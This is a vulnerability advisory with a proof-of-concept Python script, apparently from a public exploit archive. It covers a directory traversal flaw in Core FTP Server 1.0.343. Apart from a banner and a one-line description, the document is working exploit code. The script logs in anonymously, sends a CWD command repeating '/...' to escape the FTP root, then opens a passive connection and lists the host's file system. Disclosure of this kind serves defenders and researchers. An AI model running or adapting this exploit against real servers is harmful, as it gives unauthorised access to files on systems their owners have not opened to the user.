#============================================================================================================#
#   _      _   __   __       __        _______    _____      __ __     _____     _      _    _____  __ __    #
#  /_/\  /\_\ /\_\ /\_\     /\_\     /\_______)\ ) ___ (    /_/\__/\  ) ___ (   /_/\  /\_\ /\_____\/_/\__/\  #
#  ) ) )( ( ( \/_/( ( (    ( ( (     \(___  __\// /\_/\ \   ) ) ) ) )/ /\_/\ \  ) ) )( ( (( (_____/) ) ) ) ) #
# /_/ //\\ \_\ /\_\\ \_\    \ \_\      / / /   / /_/ (_\ \ /_/ /_/ // /_/ (_\ \/_/ //\\ \_\\ \__\ /_/ /_/_/  #
# \ \ /  \ / // / // / /__  / / /__   ( ( (    \ \ )_/ / / \ \ \_\/ \ \ )_/ / /\ \ /  \ / // /__/_\ \ \ \ \  #
#  )_) /\ (_(( (_(( (_____(( (_____(   \ \ \    \ \/_\/ /   )_) )    \ \/_\/ /  )_) /\ (_(( (_____\)_) ) \ \ #
#  \_\/  \/_/ \/_/ \/_____/ \/_____/   /_/_/     )_____(    \_\/      )_____(   \_\/  \/_/ \/_____/\_\/ \_\/ #
#                                                                                                            #
#============================================================================================================#
#                                                                                                            #
# Vulnerability............Directory Traversal                                                               #
# Software.................Core FTP Server 1.0.343                                                           #
# Download.................http://coreftp.com/                                                               #
# Date.....................5/27/10                                                                           #
#                                                                                                            #
#============================================================================================================#
#                                                                                                            #
# Site.....................http://cross-site-scripting.blogspot.com/                                         #
# Email....................john.leitch5@gmail.com                                                            #
#                                                                                                            #
#============================================================================================================#
#                                                                                                            #
# ##Description##                                                                                            #
#                                                                                                            #
# It's possible to navigate the local file system of a server running Core FTP Server 1.0.343 by using a     #
# specially crafted URL.                                                                                     #
#                                                                                                            #
#                                                                                                            #
# ##Exploit##                                                                                                #
#                                                                                                            #
# /...                                                                                                       #
#                                                                                                            #
#                                                                                                            #
# ##Proof of Concept##                                                                                       #
#                                                                                                            #
import sys, socket, re

host = 'localhost'
port = 21
user = 'anonymous'
password = 'a'

buffer_size = 8192
timeout = 8

def recv(s):
    resp = ''

    while 1:
        r = s.recv(buffer_size)
        if not r: break
        resp += r

    return resp

def list_root():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.settimeout(timeout)

        print s.recv(buffer_size)            

        s.send('USER ' + user + '\r\n')                   
        print s.recv(buffer_size)            

        s.send('PASS ' + password + '\r\n')               
        print s.recv(buffer_size) + s.recv(buffer_size)

        s.send('CWD ' + '/...' * 16 + '\r\n')

        resp = s.recv(buffer_size)

        print resp
        
        if resp[:3] == '250':
            s.send('PASV\r\n')                                   
            resp =  s.recv(buffer_size)

            print resp
            
            pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp)

            if (pasv_info == None):
                print 'Invalid PASV response: ' + resp
                return            

            s.send('LIST\r\n')            

            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))))
            s2.settimeout(timeout)           

            print recv(s2)

        s.close()

    except Exception:        
        print sys.exc_info()

list_root()